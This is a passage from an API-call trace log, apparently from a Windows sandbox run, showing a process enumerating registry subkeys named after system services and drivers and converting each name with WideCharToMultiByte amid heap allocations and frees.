(HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.968] RegEnumKeyW (in: hKey=0x160, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.968] RegEnumKeyW (in: hKey=0x160, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.969] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.969] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de47b0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.969] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.969] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.969] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de47b0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.970] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.970] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.970] RegEnumKeyW (in: hKey=0x160, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0257.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.970] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.971] RegEnumKeyW (in: hKey=0x160, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.971] RegEnumKeyW (in: hKey=0x160, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.971] RegEnumKeyW (in: hKey=0x160, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.971] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.971] RegEnumKeyW (in: hKey=0x160, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.972] RegEnumKeyW (in: hKey=0x160, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.972] RegEnumKeyW (in: hKey=0x160, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.972] RegEnumKeyW (in: hKey=0x160, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0257.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.972] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.972] RegEnumKeyW (in: hKey=0x160, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.973] RegEnumKeyW (in: hKey=0x160, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.973] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.973] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de47b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0257.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.973] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.974] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.974] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0257.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 